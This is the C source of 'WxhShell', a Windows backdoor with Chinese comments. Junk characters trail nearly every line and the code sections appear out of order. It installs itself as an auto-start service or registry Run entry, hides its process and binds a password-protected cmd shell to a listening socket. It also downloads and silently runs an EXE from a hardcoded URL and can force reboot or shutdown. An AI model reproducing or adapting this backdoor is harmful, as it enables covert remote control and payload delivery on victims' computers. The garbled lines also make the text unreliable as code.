    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TowRY=#jiS  
    if(Boot(SHUTDOWN)) ! >l)*jN8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V$';B=M  
    else { i r/-zp_  
    closesocket(wsh); (^4V]N&  
    ExitThread(0); zv}3Sl@  
    } 3}lT"K  
    break; :kz"W ya.  
    } Q"2J2211  
  // 获取shell :$J4T;/{  
  case 's': { _bm8m4Lk  
    CmdShell(wsh); E|K~WO]>o  
    closesocket(wsh); DcL;7IT  
    ExitThread(0); >azTAX6L3  
    break; 8Z:T.Gc  
  } 'ZboLoS*-  
  // 退出 w%L::Z4  
  case 'x': { x%d\}%]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XFv)]_G  
    CloseIt(wsh); s}5,<|DL  
    break; e0; KmQjG  
    } SZ'2/#R>  
  // 离开 a(BEm_l3  
  case 'q': { y>YQx\mK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |MQ_VZ{6  
    closesocket(wsh); Q"+)xj  
    WSACleanup(); [x\?._>  
    exit(1); ,KyG^;Riy  
    break; :G\X  
        } K.T.?ug;:  
  } ?\7$63gBH  
  } !:<(p  
#Z)8,N  
  // 提示信息 l k?@ =U~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7)U08"  
} 'W2B**}  
  } ?7]UbtW[  
/ 8 0Q  
  return; 2Sg^SZFH+o  
} ,/uVq G  
nhZ^`mP  
// shell模块句柄 v3 q.,I_  
int CmdShell(SOCKET sock) nS5g!GYY,k  
{ b|KlWt'  
STARTUPINFO si; f0 d*%  
ZeroMemory(&si,sizeof(si)); }mx>3G{d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <bbC &O\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z +NwGVk3  
PROCESS_INFORMATION ProcessInfo; jf WZLb)  
char cmdline[]="cmd"; ;[,r./XmH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f+xhS,iDR  
  return 0; T4lE-g2%M  
} <T|?`;K  
W#@Mx  
// 自身启动模式 V9dJNt'Ui  
int StartFromService(void) 5_ \+8A*  
{ V9%!B3Sb  
typedef struct jM%8h$&E  
{ -Y=o  
  DWORD ExitStatus; Qf:#{~/  
  DWORD PebBaseAddress; 9iy3 dy^  
  DWORD AffinityMask; Q`{2 yU:r  
  DWORD BasePriority; a2!;$B%  
  ULONG UniqueProcessId; |_GESpoHH  
  ULONG InheritedFromUniqueProcessId; fp`k1Uq@  
}   PROCESS_BASIC_INFORMATION; XJI ff$K  
$YztLcn   
PROCNTQSIP NtQueryInformationProcess; LeT OVgjA|  
$(=0J*ND"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qwomc28O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /nas~{B  
L63B# H "  
  HANDLE             hProcess; M?QK4Zxb6U  
  PROCESS_BASIC_INFORMATION pbi; |q+dTy_n  
|[B JZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6Ex 16  
  if(NULL == hInst ) return 0; f(Uo?_as  
];63QJU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'n dXM   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fd(o8z8Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q GoBugU  
kx.8VUoM V  
  if (!NtQueryInformationProcess) return 0; J7Y lmi  
1[k.apn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *MM8\p_PuT  
  if(!hProcess) return 0; OS]FGD3a  
W#sCvI@   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Q XUy  
Y-fDYMm  
  CloseHandle(hProcess); Y4j%K~ls Y  
Yj'/ p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hvo7T@*'  
if(hProcess==NULL) return 0; u`~,`z^{n  
L2}p<?f  
HMODULE hMod; n{8v^x  
char procName[255]; z\zqmW6  
unsigned long cbNeeded; 2[QyH'"^E  
.jK,6't^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %SKJ#b  
og)f?4  
  CloseHandle(hProcess); U3OXO 1  
L[a A4`  
if(strstr(procName,"services")) return 1; // 以服务启动 E~K5n2CI  
l1uv]t <  
  return 0; // 注册表启动 $_orxu0W  
} O Zn40"`  
';iLk[  
// 主模块 K^f&+`v6_  
int StartWxhshell(LPSTR lpCmdLine) ]rM HO  
{ S>nf]J`  
  SOCKET wsl; 5q95.rw  
BOOL val=TRUE; ToE^%J4  
  int port=0; j3&tXZ;F  
  struct sockaddr_in door; 2'T uS?  
-(1GmU5v(  
  if(wscfg.ws_autoins) Install(); hreG5g9{  
mh" 9V5T  
port=atoi(lpCmdLine); sRaTRL2  
t^5xq8w8  
if(port<=0) port=wscfg.ws_port; L/*K4xQ  
^6i,PRScS  
  WSADATA data; d6vls7J/4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H*R4AE0  
XZH\HK)K-]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k?VH4 yA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .z}*!   
  door.sin_family = AF_INET; Ux b>)36I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dQ`=CIr  
  door.sin_port = htons(port); O;H|nW}  
m>&:)K}m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { * G0I2  
closesocket(wsl); 1|/-Ff"1@  
return 1; F|! ib5  
} F7lzc)  
0*F<tg,+]  
  if(listen(wsl,2) == INVALID_SOCKET) { k@Mt8Ln  
closesocket(wsl); \I+#M-V  
return 1; =PAsyj  
} q:vc ;y  
  Wxhshell(wsl); W`gzMx  
  WSACleanup(); -v &  
|@Sj:^cJD  
return 0; l0nm>ps'D  
_,bDv`>Ra  
} s MNhD/bb  
G-Dc(QhU&  
// 以NT服务方式启动 b 67l\L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cu )w6!f  
{ wq = Ef  
DWORD   status = 0; .ovG_O  
  DWORD   specificError = 0xfffffff; "?r_A*U  
\?~cJMN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xcw 6mpLt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NGL,j\(~7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @*^%^ P  
  serviceStatus.dwWin32ExitCode     = 0; hzV= 7  
  serviceStatus.dwServiceSpecificExitCode = 0; L,_Z:\^  
  serviceStatus.dwCheckPoint       = 0; )=5 ,S~IT  
  serviceStatus.dwWaitHint       = 0; rPUk%S  
J e.%-7f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o%)38T*n3  
  if (hServiceStatusHandle==0) return; -a`P W  
&[qJ=HMm I  
status = GetLastError(); tr@)zM GB  
  if (status!=NO_ERROR) 4"d'iY  
{ Ta NcnAY>9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +Z1y1%a  
    serviceStatus.dwCheckPoint       = 0; 9*;OHoDh  
    serviceStatus.dwWaitHint       = 0; 3fd?xhWbN  
    serviceStatus.dwWin32ExitCode     = status; 7;3;8Q FX  
    serviceStatus.dwServiceSpecificExitCode = specificError; $9rQ w1#e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D]NJ ^.X  
    return; qj1Fj  
  } 1dl(`=^X  
aU?HIIA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &\L\n}i-  
  serviceStatus.dwCheckPoint       = 0; Bh5z4  
  serviceStatus.dwWaitHint       = 0; >eucQ]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,HECHA_"  
} a2SXg A  
:]uz0s`>  
// 处理NT服务事件,比如:启动、停止  RI&V:1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1g>>{ y  
{ ++Fv )KY@  
switch(fdwControl) /y[zOT6  
{ , ePl>m:Z  
case SERVICE_CONTROL_STOP: ? 5<x$YI  
  serviceStatus.dwWin32ExitCode = 0; W_RN@O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,lb >  
  serviceStatus.dwCheckPoint   = 0; ^2 \-zX!bt  
  serviceStatus.dwWaitHint     = 0; ,?(U4pzX  
  { O*udVE>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6~tj"34_  
  } BXa.XZ<n(  
  return; v%E~sX&CG  
case SERVICE_CONTROL_PAUSE: ykD-L^}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,&iZ*6=X?0  
  break; Y[. f`Ei2  
case SERVICE_CONTROL_CONTINUE: tf4clzSTa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]:}x 4O#  
  break; 6oy[0hj  
case SERVICE_CONTROL_INTERROGATE: /0(c-Dv  
  break; MoC@n+Q+@  
}; >TG#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -fT}Nj\  
} 7_CX6:  
5 [X,?  
// 标准应用程序主函数 P 9?I]a)G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -muP.h/  
{ I/)*pzt8  
N?><%fra  
// 获取操作系统版本 ~'VVCtA  
OsIsNt=GetOsVer(); KS Q*HO)5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ws;X;7tS  
"w{$d&+?ag  
  // 从命令行安装 _WN\9<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0;tu}]jnN  
>Y=qSg>Ik  
  // 下载执行文件 $/"QYSF  
if(wscfg.ws_downexe) { _|wnmeL*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Eu2(#z 6eW  
  WinExec(wscfg.ws_filenam,SW_HIDE); GxS!Lk  
} Tl L\&n.$  
j|%>NB ):  
if(!OsIsNt) { 3,)[Q?nKD  
// 如果时win9x,隐藏进程并且设置为注册表启动 *QA{xvT  
HideProc(); ~ugH2jiB  
StartWxhshell(lpCmdLine); Y lhKP;  
} bA\(oD+:  
else xwa@h}\#  
  if(StartFromService()) W<T Ui51Y  
  // 以服务方式启动 (kL(:P/  
  StartServiceCtrlDispatcher(DispatchTable); NS){D7T  
else z C 7b  
  // 普通方式启动 7}puj%JS /  
  StartWxhshell(lpCmdLine); GsU.Lkf  
bwe)_<c  
return 0; 9v?rNJs  
} }#phNn6  
TF~cDn  
:4[_&]H  
Qt.|YB8  
=========================================== |>Pz#DCy  
ZDx1v_xr  
7[:?VXQ  
l._g[qa  
=4 NKXP~C  
BMItHn].  
" <z8z\4Hz  
cv-;fd>'  
#include <stdio.h> mNKcaM?h  
#include <string.h> aEn*vun  
#include <windows.h> 6f)7*j~  
#include <winsock2.h> vQ8$C 3  
#include <winsvc.h> g1I8_!}~  
#include <urlmon.h> ~T!D:2G  
@T] G5|\ok  
#pragma comment (lib, "Ws2_32.lib") vDCbD#.6  
#pragma comment (lib, "urlmon.lib") JfRqOEP4Y  
ufo\p=pGG  
#define MAX_USER   100 // 最大客户端连接数 &Xi] 0\M)  
#define BUF_SOCK   200 // sock buffer ]sJjV A  
#define KEY_BUFF   255 // 输入 buffer Uj^Y\w-@Z  
j+[oZfH  
#define REBOOT     0   // 重启 |}Mthj9n  
#define SHUTDOWN   1   // 关机 T[kS;-x  
&"DD&87N%  
#define DEF_PORT   5000 // 监听端口 {Zo*FZcaX  
g=jB'h?  
#define REG_LEN     16   // 注册表键长度 '#lc?Y(pJ2  
#define SVC_LEN     80   // NT服务名长度 pER[^LH_)  
MUUhg  
// 从dll定义API EpK7VW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m O"Rq5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =yZ6$ hK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y=zs6HaS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "qoJIwl#q  
IwR=@Ne8  
// wxhshell配置信息 B$MHn?  
struct WSCFG { UaBNoD  
  int ws_port;         // 监听端口 8i Ew;I_  
  char ws_passstr[REG_LEN]; // 口令 wcW7k(+0  
  int ws_autoins;       // 安装标记, 1=yes 0=no s){R/2O3F  
  char ws_regname[REG_LEN]; // 注册表键名  K0Lc~n/  
  char ws_svcname[REG_LEN]; // 服务名 `d4;T|f+=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3`Dyrj#!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {7.uwIW.1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c=aVYQ"2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vdd>\r)v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [a7S?%>Bh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]L?WC  
|Elz{i-  
}; ^ # 3,*(S  
M$e$%kPShE  
// default Wxhshell configuration WnhH]WY  
struct WSCFG wscfg={DEF_PORT, 2=$ F*B>9  
    "xuhuanlingzhe", )h1 `?q:5  
    1, (zw.?ADPCT  
    "Wxhshell", tR(L>ZG{  
    "Wxhshell", ~*L@|?  
            "WxhShell Service", l"%WXi"X  
    "Wrsky Windows CmdShell Service", 99~ZZG  
    "Please Input Your Password: ", QB*n [(?  
  1, 4KY@y?H g  
  "http://www.wrsky.com/wxhshell.exe", e?WI=Og  
  "Wxhshell.exe" P_(< ?0l  
    }; {6iHUK   
n1)].`  
// 消息定义模块 |;R-q8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lHO.pN`2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jV' tcFr4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; caZEZk#r;  
char *msg_ws_ext="\n\rExit."; GK&R.R]  
char *msg_ws_end="\n\rQuit."; CJ[e^K{  
char *msg_ws_boot="\n\rReboot..."; qWJa p-hb  
char *msg_ws_poff="\n\rShutdown..."; {'cdi`  
char *msg_ws_down="\n\rSave to "; %:y"o_X_  
d.k'\1o  
char *msg_ws_err="\n\rErr!"; &Q t1~#1  
char *msg_ws_ok="\n\rOK!"; R^rA.7T  
).jna`A,  
char ExeFile[MAX_PATH]; qot {#tk d  
int nUser = 0; w[J.?v&^  
HANDLE handles[MAX_USER];  (Kj>Ao  
int OsIsNt; <Ys7`e6eY  
cq9d;~q  
SERVICE_STATUS       serviceStatus; *oAnG:J+M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (qDJgf4fgn  
CFeAKjG  
// 函数声明 *2Q x69`  
int Install(void); Rk}=SB-  
int Uninstall(void); `tm(3pJ  
int DownloadFile(char *sURL, SOCKET wsh); Y^gIvX  
int Boot(int flag); j&0t!f.Rv  
void HideProc(void); <<6gsKP  
int GetOsVer(void); MT<3OKo?:  
int Wxhshell(SOCKET wsl); 1wW4bg 5  
void TalkWithClient(void *cs); X:W}S/  
int CmdShell(SOCKET sock); r]&&*:  
int StartFromService(void); <n0j'P>1  
int StartWxhshell(LPSTR lpCmdLine); :KsBJ>2ck  
4}Hf"L[ l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F>at^6^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]CgZt' h{  
hcQv!!Q"k$  
// 数据结构和表定义 |2&|#K4k^  
SERVICE_TABLE_ENTRY DispatchTable[] = BA_l*h%=Cc  
{ }te dh  
{wscfg.ws_svcname, NTServiceMain}, 7G_OFD  
{NULL, NULL} 8TO5j  
}; Job&qW9W`  
EiWd =jDm  
// 自我安装 v[>8<z8  
int Install(void) %Z(lTvqG  
{ 6H:EBj54?  
  char svExeFile[MAX_PATH]; [bd?$q i  
  HKEY key; b<KKF'  
  strcpy(svExeFile,ExeFile); rH[Eh8j,  
A{Q~@1  
// 如果是win9x系统,修改注册表设为自启动 #b{;)C fL  
if(!OsIsNt) { g")pvK[e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q,(hs]\@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / !A&z4;D  
  RegCloseKey(key); ^7C,GaDsn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h3;RVtS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wl3fR[@3Q  
  RegCloseKey(key); ;T WYO  
  return 0; 1JN/oq;  
    } k)JwCt.%  
  } UbSD?Ew@35  
} Y'o.`':\~  
else { iD2>-yf  
hj[sxC>z5  
// 如果是NT以上系统,安装为系统服务 6dYUMqQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @m"P_1`*  
if (schSCManager!=0) r5&?-G  
{ J+*n}He,  
  SC_HANDLE schService = CreateService \K(# r=  
  ( dH0wVI<z  
  schSCManager, RTTEAh:.  
  wscfg.ws_svcname, KT8]/T`U  
  wscfg.ws_svcdisp, &qZ:"k  
  SERVICE_ALL_ACCESS, @fSqGsSk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,YmTx  
  SERVICE_AUTO_START, [R Hji47  
  SERVICE_ERROR_NORMAL, YCNpJGM  
  svExeFile, XwdehyPhT2  
  NULL, ys |} ;*  
  NULL, <(caY37o6)  
  NULL, #:/-8Z(0  
  NULL, Xr pnc 7  
  NULL ,U'E!?=:VS  
  ); x<{)xP+|  
  if (schService!=0) %:[Y/K-   
  { w~VqdB  
  CloseServiceHandle(schService); pw1&WP&?3  
  CloseServiceHandle(schSCManager); :@+@vM;gh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *5;#+%A  
  strcat(svExeFile,wscfg.ws_svcname); WK6|e[iP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JKs&!!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?:sQ]S/Er  
  RegCloseKey(key); M \3Zj(E/  
  return 0; 1(WNrVm;  
    } %R1$M318  
  } -j"2rIl4#  
  CloseServiceHandle(schSCManager); 5}2XnM2  
} ZNG{:5u,  
} [7SR2^uf<j  
=%oKYQ  
return 1; j0[9Cj^%c  
} RDQK_Ef:  
A+F@JpV  
// 自我卸载 XxE>KeP  
int Uninstall(void) n7K\\|X  
{ OAtn.LU  
  HKEY key; *|k/lI  
i fbO<  
if(!OsIsNt) { &(HIBF'O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qW:\6aEG  
  RegDeleteValue(key,wscfg.ws_regname); &sJ%ur+G  
  RegCloseKey(key); d512Y[ R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z[ ml;?  
  RegDeleteValue(key,wscfg.ws_regname); ]Q0+1'yuK  
  RegCloseKey(key); p*]nCUs}n  
  return 0; w.\#!@kZ!  
  } 4vRIJ}nQ  
} _D?`'zN  
} Ie8jBf -  
else { fQOh%i9n5  
:i:M7}r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IEW[VU)  
if (schSCManager!=0) ?AJE*=b  
{ 0^rDf L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QAh6!<.;@  
  if (schService!=0) j #)K/`  
  { w"K;e(S  
  if(DeleteService(schService)!=0) { 4E DwZR>./  
  CloseServiceHandle(schService); Qcr-|?5L  
  CloseServiceHandle(schSCManager); G[5z3  
  return 0; F%>`?NG+c  
  } 4I^8f||b_  
  CloseServiceHandle(schService); VCUEzR0  
  } sj0{;>>%+N  
  CloseServiceHandle(schSCManager); ygquQhf5  
} h*\/{$y  
} eC41PQ3=1'  
YE\s<$  
return 1; |*WE@L5  
} IQ"9#{o  
!o&b:7  
// 从指定url下载文件 gnN"pa!&~  
int DownloadFile(char *sURL, SOCKET wsh) s4{WPU9  
{ JgY#W1>  
  HRESULT hr; /xcl0oe(  
char seps[]= "/"; &*wc` U  
char *token; Da"GYEC  
char *file; +_LWN8F  
char myURL[MAX_PATH]; W{v-(pW  
char myFILE[MAX_PATH]; ;J3 (EB  
t!,GI&  
strcpy(myURL,sURL); 41V}6+$g  
  token=strtok(myURL,seps); }hv" ku6!  
  while(token!=NULL) '+ cPx\4  
  { THbV],RhJ  
    file=token; #$[}JiuL/  
  token=strtok(NULL,seps); 5?n@.hcL  
  }  rVo?I  
Lk~aM bw#  
GetCurrentDirectory(MAX_PATH,myFILE); _Q1[t9P"  
strcat(myFILE, "\\"); MKN],l N  
strcat(myFILE, file); 9xm'0 '  
  send(wsh,myFILE,strlen(myFILE),0); d2e4=/ A%  
send(wsh,"...",3,0); Zr.6J*&!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `upxM0gc  
  if(hr==S_OK) <..|:0Q&~  
return 0; 1v^eXvY  
else # U j~F  
return 1; 7xmif YC  
#c:b8rw  
} ZBAtRs  
3bW(VvgcL4  
// 系统电源模块 x#{.mN  
int Boot(int flag) R2[-Q"|Ra  
{ u \zP`Y  
  HANDLE hToken; hqKftk)+  
  TOKEN_PRIVILEGES tkp; (\M&Q-xZ  
CgO&z<A!&  
  if(OsIsNt) { M'4$z^@Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qJZ5w }  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7pY7iR_  
    tkp.PrivilegeCount = 1; C{8d^SCA"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1k8zAtuj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6X@$xe847[  
if(flag==REBOOT) { dNL<O   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a5AD$bP  
  return 0; Q{0!N8']"  
} E{Ux|r~  
else { JBKCa 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZRd,V~iz  
  return 0; V@"Y"}4n4  
} Z1gZn)7  
  } =7U_ jDME  
  else { oHbG-p  
if(flag==REBOOT) { FX#fh 2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #AJo75E%  
  return 0; ![,W?  
} _s_%}8o  
else { *uq}jlD`!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3bi,9 >%  
  return 0; QIMoe'p  
} &~xzp^&  
} Tl9;KE|  
fv",4L  
return 1; c= }#8d.  
} LZB=vc|3/  
O*ql!9}E{  
// win9x进程隐藏模块 x(Us O}  
void HideProc(void) 0Lo)Ni^"  
{ ;x=k J@  
TvzqJ=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1eZ759PoO  
  if ( hKernel != NULL ) VHlN;6Qlff  
  { -W:te7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n!B*n(;!u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H^c8r^#  
    FreeLibrary(hKernel); i.e1?Zk1  
  } ; =FSpZ@  
d/k70Ybk  
return; |aT&rpt   
} A80r@)i  
tX$ v)O|  
// 获取操作系统版本 |Ts|>"F'  
int GetOsVer(void) {iI" Lt  
{ X7*i -v@  
  OSVERSIONINFO winfo; VqeK~,}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J ^J$I!  
  GetVersionEx(&winfo); 4[ 7) $  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K6=i\   
  return 1; {v,O  
  else ue5C ]  
  return 0; E26zw9d  
} Sl8A=Ez  
h}k/okG  
// 客户端句柄模块 Me HlxI  
int Wxhshell(SOCKET wsl) mP@< UjxI  
{ a}Dx"zl;  
  SOCKET wsh; FSs<A@  
  struct sockaddr_in client; D[7+xAwS  
  DWORD myID; )NoNgU\7!  
R3;,EL{H&  
  while(nUser<MAX_USER) FG^ Jh5  
{ oM&}akPE  
  int nSize=sizeof(client); 5p.vo"7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z)RJUmY3B  
  if(wsh==INVALID_SOCKET) return 1; JFyw,p&xB  
{*Ag[HS0u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JfJLJ(}  
if(handles[nUser]==0) I,*zZNv Ri  
  closesocket(wsh); atW=xn  
else UkE  fuH  
  nUser++; _NfdJ=[Xh  
  } ,[ UqUEO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w&vZ$n-|  
m M> L0  
  return 0; 5@YrtZI  
} h&t/ L  
+ld]P}  
// 关闭 socket yBJf'-K  
void CloseIt(SOCKET wsh) g69^D  
{ ]Kutuf$t  
closesocket(wsh); 3N(5V;ti  
nUser--; 4@b~)av)  
ExitThread(0); yh  
} 0%Y8M` ~s7  
fd{75J5%  
// 客户端请求句柄 K/Q%tr1W0  
void TalkWithClient(void *cs) UP18?uM  
{ >tmv3_<=  
A)2eo<ij4  
  SOCKET wsh=(SOCKET)cs; Ej\M e  
  char pwd[SVC_LEN]; k$kOp *X  
  char cmd[KEY_BUFF]; 4@iMGYR9!s  
char chr[1]; xnuu#@f  
int i,j; e ej:  
lo1<t<w`  
  while (nUser < MAX_USER) { D#=$? {w  
}#u.Of`6"  
if(wscfg.ws_passstr) { X=8CZq4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !CBvFl/v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oy,7>vWQI  
  //ZeroMemory(pwd,KEY_BUFF); H2ZRUFu  
      i=0; ;qA(!`h+  
  while(i<SVC_LEN) { Lp|7s8?  
<|!?V"`3  
  // 设置超时 pk%%}tP<  
  fd_set FdRead; [tKH'}/s=  
  struct timeval TimeOut; q X"Pg  
  FD_ZERO(&FdRead); qhdY<[6  
  FD_SET(wsh,&FdRead); FZt a  
  TimeOut.tv_sec=8; d@$]/=%  
  TimeOut.tv_usec=0; /IO<TF(X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \]j{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nY>UYSv  
,P%a0\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Wi)/B}  
  pwd=chr[0]; >/r^l)`9_f  
  if(chr[0]==0xd || chr[0]==0xa) { =t/ "&[r  
  pwd=0; rZij[6]Y^  
  break; ~t>i+{J KE  
  } s=Cu-.~L  
  i++; vKcZgIR  
    } IL]Js W  
4Y2!q$}I+  
  // 如果是非法用户,关闭 socket 8|z@"b l)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lU`}  
} {Rm N1'%  
;JD/4:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^&!S nM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Smt&/~7D%  
c%jW'  
while(1) { ezq<)gJc  
/8Sr(  
  ZeroMemory(cmd,KEY_BUFF); G1=/G  
=tKb7:KU  
      // 自动支持客户端 telnet标准   (GeOD V?U  
  j=0; hxB` hu-  
  while(j<KEY_BUFF) {  dcd9AW=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Fk]hCL  
  cmd[j]=chr[0]; iI]E%H}  
  if(chr[0]==0xa || chr[0]==0xd) { ?o D]J  
  cmd[j]=0; 5x2m ]u  
  break; N!{waPbPi  
  } ,\DSi&T  
  j++; < Z>p1S  
    } nNEIwlj;  
J7RO*.O&Iq  
  // 下载文件 'm4v)w<y#  
  if(strstr(cmd,"http://")) { JZUf-0q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !4/s|b9K  
  if(DownloadFile(cmd,wsh)) f\|R<3 L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \FL`b{!+ N  
  else f4 [Bj{F  
